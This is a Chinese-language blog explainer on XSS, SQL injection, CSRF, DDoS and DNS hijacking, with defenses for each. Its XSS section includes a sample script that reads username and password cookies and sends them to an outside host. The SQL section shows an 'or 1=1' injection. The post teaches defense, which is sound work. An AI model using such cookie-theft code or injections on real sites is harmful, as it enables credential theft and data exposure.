Stories

Detail Return Return

一文搞懂 XSS攻擊、SQL注入、CSRF攻擊、DDOS攻擊、DNS劫持 - Stories Detail

🎈 XSS 攻擊

  • 全稱跨站腳本攻擊 Cross Site Scripting
  • 為了與重疊樣式表 CSS 進行區分,所以換了另一個縮寫名稱 XSS
  • XSS攻擊者通過篡改網頁,注入惡意的 HTML 腳本,一般是 javascript,在用户瀏覽網頁時,控制用户瀏覽器進行惡意操作的一種攻擊方式
  • XSS 攻擊經常使用在論壇,博客等應用中。攻擊者可以偷取用户Cookie、密碼等重要數據,進而偽造交易、盜取用户財產、竊取情報等私密信息

xss教學

  • 就像上圖,如果用户在評論框中輸入的並不是正常的文本,而是一段 javascript 腳本,而後台又沒對該用户的數據進行處理,直接存入數據庫,那麼當其他用户過來訪問該頁面,瀏覽器必然會執行這段腳本
  • 當然這只是惡趣味,而真正的黑客並不會僅僅滿足這樣的惡趣味,可能更多的是想通過這些 注入腳本,獲取你的 個人信息 ,甚至是你的賬號密碼等信息

xss攻擊

  • 由上圖可知,用户其實在評論的時候,引入了一個第三方腳本,在這個腳本中獲取你瀏覽器的 cookie 信息,併發送到指定的接口進行保存處理,這樣你的信息就已經泄露了
// attack.js 中的邏輯
var uname = $.cookie('username'); // 獲取賬號
var pwd = $.cookie('password'); // 獲取密碼

// 發送請求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
  • 在上面邏輯中,腳本中獲取了你的個人信息,並將你的個人信息發送到後端 php 文件中進行處理保存,這樣你的個人信息就已經泄露了,所以杜絕 xss攻擊 在網絡安全中非常的重要
  • 所以後端永遠不要相信用户提交的數據,在接收用户提交的信息時候,要進行 消毒處理
  • 也就是過濾一些特殊的字符,比如 javascript 腳本中的 <> 進行轉移 <> 再進行存儲,這樣就能有效的進行 xss 攻擊的預防
  • 另外如果 cookie 中設置了 HttpOnly 屬性,那麼通過 js 腳本將無法讀取到cookie 信息,這樣也能有效的防止 XSS 攻擊竊取 cookie 內容

xss攻擊

🎈 SQL 注入

  • SQL注入 攻擊指的是攻擊者在 HTTP 請求中注入惡意 SQL 命令,服務器用請求參數構造數據庫 SQL 命令時,惡意 SQL 被一起構造,並在數據庫中執行,以便得到數據庫中的感興趣的數據或對數據庫進行讀取、修改、刪除、插入等敏感的操作,從而導致數據被隨意篡改
  • 但是 SQL注入 攻擊,需要攻擊者對數據庫表有所瞭解才行,比如你的項目 開源 了,不小心公開了數據庫的賬號和密碼;另外你的網站上線沒有 關閉調試模式,有心者可以網站的根據錯誤回顯可以猜測表結構;另外還有就是 盲注,也即是很多有心者會盲猜數據表結構,但是這種難度最大
  • SQL注入 可以通過預編譯手段進行預防,綁定參數是最好的防 SQL 注入方法。現在流行的框架基本都實現了 SQL預編譯參數綁定,惡意攻擊的 SQL 會被當做 SQL 的參數,而不是 SQL 命令被執行
# 正常獲取用户信息的sql
select * from users where id=1

# sql注入了 1 or 1=1,就可以把用户表中的所有數據全部查出,導致數據泄露
select * from users where id=1 or 1=1

SQL注入

🎈 CSRF 攻擊

  • CSRF 全稱 Cross Site Request Forgery,跨站點請求偽造,攻擊者通過跨站請求,以合法的用户身份進行非法操作,如轉賬交易、發表評論等。其核心是利用了瀏覽器 Cookie 或服務器的 Session 策略,盜取用户的身份信息
  • 在打開 A網站 的情況下,另開 Tab頁面 打開惡意 網站B,此時在 B頁面惡意意圖 下,瀏覽器發起一個對 網站AHTTP 請求
  • 因為之前 A網站 已經打開了,瀏覽器存有 A網站 中的 Cookie 或其他用於身份認證的信息,這一次被 惡意意圖 的請求,將會自動帶上這些信息,這將會導致身份劫持,造成並非本人意願的操作結果
  • 而對應 CSRF攻擊 的防禦策略有:表單token驗證碼Referer 檢測

CSRF攻擊

🎈 DDOS 攻擊

  • DDOS 全稱 Distributed Denial of Service,分佈式拒絕服務攻擊。是拒絕服務攻擊的升級版。拒絕攻擊服務其實就是讓你的服務不能正常給用户提供服務,也就是俗話説的服務宕機。常用於攻擊對外提供服務的服務器,像常見的:Web服務郵件服務DNS服務即時通訊服務 這些等
  • 在早期發起 DoS攻擊 是一件很容易的事情,只需要寫個程序讓服務過載,無暇提供正常服務即可,也就是一秒中請求服務多次,將目標服務器的內存跑崩
  • 後來隨着技術對發展,現在的服務器都是分佈式,並不是單一服務器提供服務,一個服務背後擁有着是數不清的 CDN節點,也是就擁有着數不清的Web服務器。想靠單台服務器去攻擊這種分佈式網絡,無異於對方以卵擊石 ,而且現在很多 DDOS 攻擊 都不是免費的,所以很容易造成偷雞不成蝕把米
  • 防禦手段:隨着技術發展到今天也並不能完全杜絕這種攻擊的出現,只能通過技術去緩解。其中包括:流量清洗SYN Cookie 等等

DDoS攻擊

🎈 DNS 劫持

  • 當今互聯網流量中,以 HTTP/HTTPS 為主的 Web服務 產生的流量佔據了絕大部分
  • Web服務 發展的如火如荼,這背後離不開一個默默無聞的大功臣就是域名解析系統,DNS 提供將域名轉換成 ip地址 的服務,每一個域名的解析都要經過 DNS ,所以可以看出它的重要性
  • 正是因為它的重要性,所以 DNS劫持 很容易被別有用心的人利用
  • 早期並沒有考慮太多的安全性,所以導致 DNS 很容易被劫持
  • 如果攻擊者篡改 DNS解析 設置,將域名由正常 IP 指向由攻擊者控制的非法 IP,就會導致我們訪問域名打開的卻不是對應的網站,而是一個假冒或者別有用心的網站。這種攻擊手段就是 DNS劫持
  • 通過 DNS劫持 簡單點可以導致用户流失,嚴重的後果甚至惠將用户誘導至攻擊者控制額非法網站,可能會造成銀行卡號、手機號碼、賬號密碼等重要信息的泄露
  • 後來出現了 DNSSEC 技術,雖然在一定程度上解決了劫持問題,但是國內並沒有太多應用的案例,因此後來阿里、騰訊推出了 httpDNS 服務也一定程度上可以抑制這種攻擊手段
  • 另外可以 安裝SSL證書。SSL證書具備服務器身份認證功能,可以使DNS 劫持導致的連接錯誤情況及時被發現和終止

DNS劫持

Add a new Comments

Some HTML is okay.